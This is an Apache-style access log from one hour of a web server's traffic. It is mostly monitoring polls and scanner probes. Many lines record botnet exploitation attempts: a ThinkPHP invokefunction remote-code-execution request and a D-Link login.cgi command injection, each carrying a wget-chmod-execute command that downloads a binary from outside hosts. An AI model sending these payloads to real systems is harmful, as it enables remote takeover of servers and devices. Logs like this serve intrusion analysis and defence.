212.91.246.72 - - [08/Feb/2020:09:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.175.33 - - [08/Feb/2020:09:08:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.107.128 - - [08/Feb/2020:09:09:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.3.149 - - [08/Feb/2020:09:09:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.253.80 - - [08/Feb/2020:09:10:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.97.125 - - [08/Feb/2020:09:13:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.128.82.41 - - [08/Feb/2020:09:14:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:09:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.154.175.170 - - [08/Feb/2020:09:15:17 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.175.170 - - [08/Feb/2020:09:15:18 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.175.170 - - [08/Feb/2020:09:15:18 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.175.170 - - [08/Feb/2020:09:15:18 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.175.170 - - [08/Feb/2020:09:15:19 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.175.170 - - [08/Feb/2020:09:15:19 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.175.170 - - [08/Feb/2020:09:15:20 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.175.170 - - [08/Feb/2020:09:15:20 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.175.170 - - [08/Feb/2020:09:15:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [08/Feb/2020:09:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.252.138.54 - - [08/Feb/2020:09:17:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.252.138.54 - - [08/Feb/2020:09:18:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:09:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.81.180 - - [08/Feb/2020:09:19:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.43.254.154 - - [08/Feb/2020:09:19:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.123.16.108 - - [08/Feb/2020:09:21:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
150.109.167.136 - - [08/Feb/2020:09:22:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
150.109.167.136 - - [08/Feb/2020:09:22:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
150.109.167.136 - - [08/Feb/2020:09:22:15 +0100] "\x16\x03\x01" 501 318 "-" "-"
150.109.167.136 - - [08/Feb/2020:09:22:15 +0100] "\x16\x03\x01" 501 318 "-" "-"
118.68.210.50 - - [08/Feb/2020:09:22:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.57.225.154 - - [08/Feb/2020:09:24:38 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:09:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.212.241.187 - - [08/Feb/2020:09:25:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:09:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.18.167.13 - - [08/Feb/2020:09:26:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:09:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.12.115.251 - - [08/Feb/2020:09:27:21 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:09:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.57.225.154 - - [08/Feb/2020:09:28:34 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:09:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.140.53 - - [08/Feb/2020:09:29:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.68.92 - - [08/Feb/2020:09:29:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.82.214 - - [08/Feb/2020:09:31:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.235.180.43 - - [08/Feb/2020:09:33:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:09:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.151.184.97 - - [08/Feb/2020:09:36:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.151.211.218 - - [08/Feb/2020:09:38:12 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:09:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.185.223 - - [08/Feb/2020:09:39:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.151.211.218 - - [08/Feb/2020:09:39:18 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:09:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.151.211.218 - - [08/Feb/2020:09:39:50 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
66.151.211.218 - - [08/Feb/2020:09:39:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
66.151.211.218 - - [08/Feb/2020:09:40:09 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:09:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.252.2 - - [08/Feb/2020:09:41:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.226.128.242 - - [08/Feb/2020:09:41:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [08/Feb/2020:09:42:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [08/Feb/2020:09:42:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [08/Feb/2020:09:42:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [08/Feb/2020:09:42:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
220.116.93.35 - - [08/Feb/2020:09:42:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [08/Feb/2020:09:42:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:09:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [08/Feb/2020:09:42:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
181.40.108.95 - - [08/Feb/2020:09:42:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
63.143.35.226 - - [08/Feb/2020:09:42:51 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
220.116.93.35 - - [08/Feb/2020:09:42:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [08/Feb/2020:09:43:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:09:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.40.226.165 - - [08/Feb/2020:09:44:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [08/Feb/2020:09:46:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.42.195.84 - - [08/Feb/2020:09:49:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [08/Feb/2020:09:49:57 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:09:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.46.169.49 - - [08/Feb/2020:09:53:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.40.52.147 - - [08/Feb/2020:09:54:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:09:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.126.196.176 - - [08/Feb/2020:09:55:45 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [08/Feb/2020:09:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.129.227.5 - - [08/Feb/2020:09:56:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.151.211.218 - - [08/Feb/2020:09:56:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
66.151.211.218 - - [08/Feb/2020:09:57:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
113.176.193.111 - - [08/Feb/2020:09:57:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
63.143.35.226 - - [08/Feb/2020:09:57:31 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:09:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [08/Feb/2020:09:58:32 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [08/Feb/2020:09:58:32 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:09:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [08/Feb/2020:10:00:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [08/Feb/2020:10:00:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [08/Feb/2020:10:00:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [08/Feb/2020:10:00:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:10:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [08/Feb/2020:10:00:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:10:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:10:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [08/Feb/2020:10:05:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
121.185.105.50 - - [08/Feb/2020:10:05:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.154.228 - - [08/Feb/2020:10:05:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.35.237.234 - - [08/Feb/2020:10:05:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:10:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
